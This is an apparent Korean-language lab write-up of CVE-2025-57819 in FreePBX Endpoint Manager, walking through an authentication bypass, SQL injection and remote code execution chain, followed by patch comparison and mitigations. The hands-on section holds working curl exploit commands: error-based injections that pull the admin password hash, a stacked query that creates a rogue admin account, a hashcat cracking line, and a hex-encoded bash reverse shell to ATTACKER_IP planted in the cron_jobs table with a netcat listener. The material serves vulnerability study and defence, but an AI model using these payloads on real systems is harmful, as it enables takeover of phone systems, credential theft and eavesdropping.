1. 개요

2025년 공개된 CVE-2025-57819는 Sangoma FreePBX의 상용 모듈인 Endpoint Manager에서 발생하는 취약점으로, 인증 우회(Auth Bypass) → SQL Injection → 원격 코드 실행(RCE) 체인으로 이어지는 Pre-Auth RCE다.

FreePBX는 전 세계 수십만 곳에서 사용되는 오픈소스 VoIP PBX 플랫폼으로, 이 취약점이 악용될 경우 기업 전화망 전체의 도청·장악이 가능해진다는 점에서 파급력이 상당히 크다.

영향 범위

Endpoint Manager 버전 패치 버전 상태
15.x 15.0.66 이상 ✅ 패치 존재
16.x 16.0.89 이상 ✅ 패치 존재
17.x 17.0.3 이상 ✅ 패치 존재

2. 취약점 원인 분석

2.1 FreePBX AJAX 핸들러 구조

FreePBX의 관리자 패널(/admin/)은 /admin/ajax.php를 중앙 AJAX 라우터로 사용한다. 외부 요청은 module 파라미터로 처리할 모듈을 지정한다.

GET /admin/ajax.php?module=core&command=status

일반적인 흐름에서는 세션 검사($_SESSION['AMP_user'])를 통과해야 모듈이 실행된다.

2.2 인증 우회: 네임스페이스 경로 트릭

FreePBX의 PHP 클래스 로더는 백슬래시(\)를 네임스페이스 구분자로 취급하여 파일 경로로 변환한다.

module=FreePBX\modules\endpoint\ajax
     ↓  (백슬래시 → 슬래시 변환)
FreePBX/modules/endpoint/ajax
     ↓  (파일시스템 경로)
admin/modules/endpoint/ajax.php

취약한 버전에서는 이 파일 포함(include)이 세션 검사보다 먼저 실행되어, 모듈의 코드가 인증 없이 동작한다.

// 취약한 ajax.php 로직 (단순화)
$module_path = str_replace('\\', '/', $_GET['module']);
// ⚠ 세션 검사 없이 먼저 파일을 include
require_once "modules/{$mod_name}/{$mod_file}.php";

// 아래 검사는 이미 모듈이 실행된 후...
if (!$_SESSION['AMP_user']) { die('Not authorized'); }

패치된 버전(≥16.0.89)에서는 네임스페이스 형식의 모듈 경로를 요청 초기에 거부한다.

2.3 SQL Injection: brand 파라미터 미검증

인증을 우회하여 도달하는 endpoint 모듈의 model 커맨드는 brand 파라미터를 SQL 쿼리에 직접 문자열 연결한다.

// endpoint/ajax.php (취약 코드)
$brand = $_GET['brand'];  // 사용자 입력 그대로

// ⚠ Prepared Statement 없이 직접 연결
$sql = "SELECT * FROM endpoint_models
        WHERE manufacturer = '$brand'
        AND template = '$template'";

$result = $pdo->query($sql);  // Raw query 실행

이를 통해 다음 두 가지 SQL Injection 기법이 가능하다.

에러 기반 추출 (Error-based)

-- EXTRACTVALUE가 XPath 에러 메시지에 SQL 실행 결과를 포함시킴
brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -

스택 쿼리 (Stacked Query)

-- 세미콜론으로 새 쿼리를 주입
brand=x'; INSERT INTO ampusers (username,password_sha1,sections)
          VALUES ('hacker','<sha1>','all'); -- -

3. 공격 체인 상세

[인터넷 공격자]
      │
      │ GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
      │                     &command=model&brand=<PAYLOAD>
      │
      ▼
┌─────────────────────────────────────────────────────┐
│  FreePBX 16.0.40.7 (취약)                          │
│                                                     │
│  1. 네임스페이스 경로 감지                            │
│     → 세션 검사 건너뜀 (Auth Bypass ✓)              │
│                                                     │
│  2. endpoint/ajax.php 실행                          │
│     → brand 파라미터 SQL 직접 연결                   │
│     → EXTRACTVALUE로 DB 내용 추출 (SQLi ✓)          │
│                                                     │
│  3. 스택 쿼리로 관리자 계정 삽입                      │
│     → ampusers 테이블에 공격자 계정 생성              │
│                                                     │
│  4. 관리자 패널 로그인                               │
│     → 설정 변경 / 웹쉘 업로드 (RCE ✓)               │
└─────────────────────────────────────────────────────┘

4. 취약점 실습

해당 페이지로 접근하면 로그인 창이 나오고 현재 FreePBX 16.0.40.7 버전이 활성화된 것을 볼 수 있습니다.

Step 1: 인증 우회 확인

일반 요청 (인증 필요, 403 반환):

curl "http://localhost:8080/admin/ajax.php?module=core&command=status"
{"error": "Not authorized", "code": 403}

네임스페이스 경로로 우회 (인증 없이 200 반환):

curl "http://localhost:8080/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=brands"
{"success":true,"brands":[{"id":3,"name":"Cisco","logo_url":"\/assets\/brands\/cisco.png"},{"id":5,"name":"Grandstream","logo_url":"\/assets\/brands\/grandstream.png"},{"id":2,"name":"Polycom","logo_url":"\/assets\/brands\/polycom.png"},{"id":4,"name":"Snom","logo_url":"\/assets\/brands\/snom.png"},{"id":1,"name":"Yealink","logo_url":"\/assets\/brands\/yealink.png"}]}

%5C는 백슬래시(\)의 URL 인코딩이다. 인증 없이 데이터가 반환된 것을 확인할 수 있다.

Step 2: 에러 기반 SQL Injection으로 데이터 추출

2-1. DB 버전 확인

curl -is -G "http://localhost:8080/admin/ajax.php" ^
   --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
   --data-urlencode "command=model" ^
   --data-urlencode "template=x" ^
   --data-urlencode "model=x" ^
   --data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -"

응답에서 에러 메시지 확인:

{"success":false,"error":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~~~10.6.27-MariaDB-ubu2204~~~'","query":"SELECT id, model_name, config_template\n                FROM endpoint_models\n                WHERE manufacturer = '' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -'\n                AND template = 'x'"}

~~~10.6.27-MariaDB~~~ → DB 버전이 에러 메시지에 노출되었다.

2-2. 현재 DB 사용자 확인

# brand 파라미터만 변경
brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e))-- -
XPATH syntax error: '~~~freepbxuser@%~~~'

2-3. 관리자 계정 해시 탈취

EXTRACTVALUE를 이용한 에러 기반 추출에는 32자 출력 제한이 있다. SHA1 해시는 40자이므로 한 번의 요청으로 전체를 추출할 수 없다.

에러 메시지 최대 출력: 32자
접두사 "~~~admin:" 포함 시 해시 가시 범위: 최대 23자
→ 나머지 17~20자는 잘려서 "..." 로 표시됨

따라서 SUBSTR(column, offset, length)로 두 번 나눠 추출해야 한다.

1차 요청 — 해시 앞 20자 (1~20번째)

curl -s -G "http://localhost:8080/admin/ajax.php" ^
  --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
  --data-urlencode "command=model" ^
  --data-urlencode "template=x" ^
  --data-urlencode "model=x" ^
  --data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT CONCAT(username,':',SUBSTR(password_sha1,1,20)) FROM ampusers LIMIT 1),0x7e7e7e))-- -"
XPATH syntax error: '~~~admin:c2d5625909f9d0679864~~~'
                              ←————————————→
                               앞 20자 추출

2차 요청 — 해시 뒤 20자 (21~40번째)

curl -s -G "http://localhost:8080/admin/ajax.php" ^
  --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
  --data-urlencode "command=model" ^
  --data-urlencode "template=x" ^
  --data-urlencode "model=x" ^
  --data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT SUBSTR(password_sha1,21,20) FROM ampusers LIMIT 1),0x7e7e7e))-- -"
XPATH syntax error: '~~~600f998cfd5f2c5e9272~~~'
                        ←————————————→
                         뒤 20자 추출

두 결과를 이어 붙이면 완전한 SHA1 해시가 완성된다.

앞 20자:  c2d5625909f9d0679864
뒤 20자:  600f998cfd5f2c5e9272
완성 해시: c2d5625909f9d0679864600f998cfd5f2c5e9272
hashcat -m 100 c2d5625909f9d0679864600f998cfd5f2c5e9272 /usr/share/wordlists/rockyou.txt

참고: EXTRACTVALUE 32자 제한은 MySQL/MariaDB 공통 사양이다. 더 긴 문자열을 추출할 때는 SUBSTR 분할 외에도 time-based blind injection이나 UNION-based injection으로 우회할 수 있다.

Step 3: 스택 쿼리로 관리자 계정 생성

# 공격자 계정: hacker / Hacked123!
# SHA1("Hacked123!") = 6b9e75fa5e5f1471b3a3c2f4d0a3e8b2a...

curl -s -G "http://localhost:8080/admin/ajax.php" ^
  --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
  --data-urlencode "command=model" ^
  --data-urlencode "template=x" ^
  --data-urlencode "model=x" ^
  --data-urlencode "brand=x'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('hacker', SHA1('Hacked123!'), 'all'); -- -"
{"success":true,"data":[],"count":0}

삽입 결과 검증:

curl -s -G "http://localhost:8080/admin/ajax.php" ^
  --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
  --data-urlencode "command=adduser"
{
  "ampusers": [
    {"username": "hacker", "password_sha1": "ec3beb077a589a30db416792f4800441c63a0010"},
    {"username": "admin",  "password_sha1": "c2d5625909f9d0679864600f998cfd5f2c5e9272"}
  ]
}

Step 4: RCE — cron_jobs 테이블을 통한 OS 명령 실행

FreePBX는 cron_jobs 테이블의 명령을 cron 데몬이 주기적으로 실행한다. 이 테이블에 OS 명령을 삽입하면 RCE로 이어진다.

주의: 따옴표 문제와 해결책

단순하게 SQL 문자열로 리버스 쉘을 삽입하려 하면 실패한다.

:: ❌ 실패 — & 가 URL 파라미터 구분자로 해석되거나
::           중첩 따옴표("...")가 SQL 파서를 깨뜨림
brand=x'; INSERT INTO cron_jobs (...) VALUES ('pwned', 'bash -c "bash -i >& /dev/tcp/..."', ...); -- -

실제로 테스트하면 success:true가 반환되지만 cron_check로 확인하면 행이 삽입되지 않았다.\

해결책: SQL 헥스 리터럴 사용

리버스 쉘 명령을 SQL 헥스 리터럴(0x...)로 인코딩하면 따옴표가 전혀 필요 없어 모든 특수문자 문제가 사라진다.

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
→ 0x62617368202d69203e26202f6465762f7463702f.../34343434203 03e2631

PowerShell로 공격 대상 IP에 맞는 hex를 생성한다.\

# 공격자 IP로 교체 후 실행
$cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$hex = "0x" + (([System.Text.Encoding]::UTF8.GetBytes($cmd) | ForEach-Object { $_.ToString("x2") }) -join "")
Write-Host $hex

생성된 hex를 이용해 삽입 (따옴표 없이 hex 리터럴로 직접 지정):

:: 공격자 머신에서 리스너 먼저 실행
nc -lvnp 4444
# hex 리터럴 INSERT — 따옴표 충돌 없음
$hex = "0x62617368202d69203e26202f6465762f7463702f41545441434b45525f49502f34343434203 03e2631"
$payload = "x'; INSERT INTO cron_jobs (job_name, command, schedule, enabled) VALUES ('pwned', $hex, '* * * * *', 1); -- -"
$url = "http://localhost:8080/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=x&brand=" + [Uri]::EscapeDataString($payload)
(Invoke-WebRequest -Uri $url -UseBasicParsing).Content

cron 삽입 확인:

curl -s -G "http://localhost:8080/admin/ajax.php" ^
  --data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
  --data-urlencode "command=cron_check"
{
  "cron_jobs": [
    {
      "id": 4,
      "job_name": "pwned",
      "command": "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1",
      "schedule": "* * * * *",
      "last_run": null
    }
  ]
}

command 필드에 리버스 쉘이 정확히 복원된 것을 확인할 수 있다. 1분 이내에 리스너에 리버스 쉘 연결이 수신된다.

5. 소스코드 레벨 분석

취약한 코드 vs 패치된 코드

취약한 ajax.php (v16.0.40)

// 네임스페이스 모듈 경로를 감지하면 세션 검사 없이 include
$module_path = str_replace('\\', '/', $module);
$is_namespaced = strpos($module, '\\') !== false;

if ($is_namespaced) {
    // ⚠ 세션 검사 없음
    require_once __DIR__ . "/modules/{$mod_name}/{$mod_file}.php";
    exit;
}

// 일반 모듈은 세션 검사 (하지만 위에서 이미 exit)
if (!$_SESSION['AMP_user']) { die('Not authorized'); }

패치된 ajax.php (v16.0.89)

// 네임스페이스 형식 모듈 경로를 사전에 차단
if (strpos($module, '\\') !== false || strpos($module, '/') !== false) {
    http_response_code(400);
    die(json_encode(['error' => 'Invalid module name']));
}

// 세션 검사 후 모듈 로드
if (!$_SESSION['AMP_user']) {
    http_response_code(403);
    die(json_encode(['error' => 'Not authorized']));
}

취약한 endpoint/ajax.php (SQLi 부분)

// ⚠ Prepared Statement 미사용
$brand = $_GET['brand'];
$sql = "SELECT * FROM endpoint_models WHERE manufacturer = '$brand'";
$pdo->query($sql);  // 직접 실행

패치된 endpoint/ajax.php

// ✅ Prepared Statement 적용
$stmt = $pdo->prepare(
    "SELECT * FROM endpoint_models WHERE manufacturer = ? AND template = ?"
);
$stmt->execute([$_GET['brand'], $_GET['template']]);
$rows = $stmt->fetchAll();

6. 대응 방안

즉각적 조치 (Immediate)

# FreePBX 모듈 업그레이드
fwconsole ma upgrade endpoint

# 업그레이드 후 버전 확인
fwconsole ma list | grep endpoint
# endpoint    16.0.89   Enabled  (정상)

네트워크 수준 완화

# Nginx: 네임스페이스 경로 패턴 차단
location ~ /admin/ajax\.php {
    if ($args ~* "module=.*(%5C|\\\\)") {
        return 403;
    }
}
# 방화벽으로 관리자 패널 접근 제한
iptables -A INPUT -p tcp --dport 80 -s MANAGEMENT_IP_RANGE -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP

장기적 조치

  1. FreePBX 관리 패널을 인터넷에 직접 노출 금지 (VPN 뒤에 배치)
  2. 불필요한 상용 모듈(Endpoint Manager) 비설치
  3. ampuserscron_jobs 테이블에 대한 변경 알림 설정
  4. WAF 규칙으로 SQL Injection 패턴 필터링

7. 결론

CVE-2025-57819는 두 가지 취약점이 연쇄적으로 결합된 고위험 Pre-Auth RCE다.

  1. 인증 우회: PHP 클래스 로더의 네임스페이스 처리 방식을 악용해 세션 검사를 건너뜀
  2. SQL Injection: 사용자 입력을 Prepared Statement 없이 직접 SQL에 연결

이 체인이 무서운 이유는 공격자가 아무런 사전 정보나 자격증명 없이 DB 완전 탈취 및 OS 명령 실행까지 도달할 수 있다는 점이다. FreePBX를 인터넷에 직접 노출한 환경이라면 즉각적인 패치가 필수다.